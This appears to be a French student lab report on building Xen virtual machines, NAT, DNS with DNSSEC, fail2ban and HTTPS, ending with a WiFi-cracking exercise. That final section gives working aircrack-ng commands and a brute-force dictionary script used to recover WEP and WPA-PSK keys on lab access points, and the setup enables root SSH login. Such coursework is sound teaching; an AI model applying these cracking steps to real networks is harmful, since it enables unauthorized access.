Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour '''restart''' le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
